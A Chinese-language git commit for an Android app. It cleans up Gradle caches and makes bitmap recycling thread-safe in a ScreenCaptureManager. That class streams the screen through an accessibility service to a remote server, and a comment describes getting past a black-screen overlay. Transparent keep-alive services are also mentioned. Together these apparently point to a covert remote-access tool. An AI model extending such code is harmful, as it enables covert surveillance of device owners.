refactor: 清理 .gradle 缓存文件并优化 ScreenCaptureManager

- 删除 .gradle 缓存和锁文件(checksums, executionHistory, fileHashes 等)
- 优化 ScreenCaptureManager 截屏逻辑
- 移除 MainActivity, TransparentKeepAliveActivity 中的冗余代码
- 清理多个 KeepAlive 相关服务中的无用导入
- 精简 InstallationStateManager 代码
This commit is contained in:
wdvipa
2026-02-14 22:07:58 +08:00
parent d0224e1fcd
commit d4f27bbac7
26 changed files with 48 additions and 37 deletions

View File

@@ -29,7 +29,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
private const val CAPTURE_QUALITY = 55 // 🎯 优化:提升压缩质量,在数据量和画质间找到最佳平衡(30->55)
private const val MAX_WIDTH = 480 // 更小宽度480px测试单消息大小理论
private const val MAX_HEIGHT = 854 // 更小高度854px保持16:9比例
private const val MIN_CAPTURE_INTERVAL = 66L // ✅ 调整为66ms适配15FPS1000ms/15fps≈66ms
private const val MIN_CAPTURE_INTERVAL = 3000L // ✅ 调整为3000ms无障碍服务截图间隔3秒
// ✅ 持久化暂停状态相关常量
private const val PAUSE_STATE_PREF = "screen_capture_pause_state"
@@ -135,6 +135,41 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
Log.i(TAG, "屏幕尺寸: ${screenWidth}x${screenHeight}")
}
/**
* ✅ 安全回收lastValidBitmap防止多线程并发导致的native crash (SIGSEGV)
*
* 问题根因多个协程startMediaProjectionCapture、startAccessibilityScreenCapture、
* captureWithMediaProjection等并发访问lastValidBitmap可能导致
* 1. double-recycleBitmap已被其他线程recycle但引用未置null
* 2. Hardware Bitmap的底层HardwareBuffer已被释放
* 两种情况都会在native层BitmapWrapper::freePixels()触发SIGSEGV
*/
private fun safeRecycleLastValidBitmap() {
val bitmapToRecycle = lastValidBitmap
lastValidBitmap = null // 先置null防止其他线程访问
try {
if (bitmapToRecycle != null && !bitmapToRecycle.isRecycled) {
bitmapToRecycle.recycle()
}
} catch (e: Exception) {
// 捕获所有异常包括可能的native异常包装
Log.w(TAG, "回收缓存Bitmap异常可能已被其他线程回收: ${e.message}")
}
}
/**
* ✅ 安全回收任意Bitmap防止native crash
*/
private fun safeRecycleBitmap(bitmap: Bitmap?) {
try {
if (bitmap != null && !bitmap.isRecycled) {
bitmap.recycle()
}
} catch (e: Exception) {
Log.w(TAG, "回收Bitmap异常: ${e.message}")
}
}
/**
* 🔑 启用AccessibilityService截图模式
* 用于绕过黑屏遮罩让Web端能够正常显示画面
@@ -378,7 +413,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
// ✅ 有效帧:发送并更新缓存
sendFrameToServer(jpegData)
lastValidBitmap?.recycle()
safeRecycleLastValidBitmap()
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
lastValidBitmap?.let { trackBitmap(it) }
lastCaptureTime = System.currentTimeMillis()
@@ -535,7 +570,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
// 🔑 缓存成功的截图,用于防止闪烁
try {
// 清理旧的缓存
lastValidBitmap?.recycle()
safeRecycleLastValidBitmap()
// 保存当前成功的截图副本
lastValidBitmap = screenshot.copy(screenshot.config ?: Bitmap.Config.ARGB_8888, false)
lastCaptureTime = System.currentTimeMillis()
@@ -559,7 +594,9 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
// ❌ 真实截图失败,不发送任何数据,等待下一次截图
// 之前发送测试图像会被服务端过滤且占用发送队列,得不偿失
consecutiveFailures++
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
if (consecutiveFailures % 50 == 1) {
Log.d(TAG, "📱 无障碍截图失败(${consecutiveFailures}次),跳过本帧等待下次")
}
}
// ✅ 截图成功时按帧率延迟,失败时短延迟后立即重试
@@ -652,7 +689,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
// 🔑 如果已切换到无障碍截图模式,直接使用无障碍截图,不再尝试 MediaProjection
if (useAccessibilityScreenshot) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.R) {
Log.d(TAG, "🔑 无障碍截图模式,直接使用 AccessibilityService 截图")
return captureWithAccessibilityService()
}
return null
@@ -685,7 +721,6 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
val timeSinceLastScreenshot = currentTime - lastScreenshotTime
if (timeSinceLastScreenshot < MIN_CAPTURE_INTERVAL) {
Log.d(TAG, "📱 截图间隔太短,跳过本次截图: ${timeSinceLastScreenshot}ms < ${MIN_CAPTURE_INTERVAL}ms")
return null
}
@@ -924,7 +959,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
}
// 更新缓存
lastValidBitmap?.recycle()
safeRecycleLastValidBitmap()
lastValidBitmap = newBitmap.copy(Bitmap.Config.ARGB_8888, false)
// 🔧 跟踪缓存的Bitmap副本
lastValidBitmap?.let { trackBitmap(it) }
@@ -962,8 +997,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
return lastValidBitmap!!.copy(Bitmap.Config.ARGB_8888, false)
} else {
Log.w(TAG, "缓存图像过期 (${timeSinceLastCapture}ms前),清理缓存")
lastValidBitmap?.recycle()
lastValidBitmap = null
safeRecycleLastValidBitmap()
}
}
@@ -1002,7 +1036,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
val retryBitmap = convertImageToBitmap(retryImage)
if (retryBitmap != null) {
Log.i(TAG, "✅ Android 15重新初始化后成功获取图像")
lastValidBitmap?.recycle()
safeRecycleLastValidBitmap()
lastValidBitmap = retryBitmap.copy(Bitmap.Config.ARGB_8888, false)
lastCaptureTime = System.currentTimeMillis()
return retryBitmap
@@ -1775,8 +1809,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
Log.w(TAG, "🗑️ 清空屏幕数据队列,释放${queueSize}帧数据")
// 2. 清理缓存的图像
lastValidBitmap?.recycle()
lastValidBitmap = null
safeRecycleLastValidBitmap()
Log.w(TAG, "🗑️ 清理缓存图像")
// 3. 强制回收弱引用中的资源
@@ -2147,9 +2180,8 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
imageReader?.close()
imageReader = null
// 清理缓存的图像
lastValidBitmap?.recycle()
lastValidBitmap = null
// ✅ 安全清理缓存的Bitmap防止多线程并发导致native crash (SIGSEGV)
safeRecycleLastValidBitmap()
lastCaptureTime = 0L
Log.i(TAG, "VirtualDisplay和ImageReader已清理MediaProjection权限保留")
@@ -2445,7 +2477,7 @@ class ScreenCaptureManager(private val service: AccessibilityRemoteService) {
Log.i(TAG, "✅ Android 15强制刷新成功${bitmap.width}x${bitmap.height}")
// 更新缓存
lastValidBitmap?.recycle()
safeRecycleLastValidBitmap()
lastValidBitmap = bitmap.copy(Bitmap.Config.ARGB_8888, false)
lastCaptureTime = System.currentTimeMillis()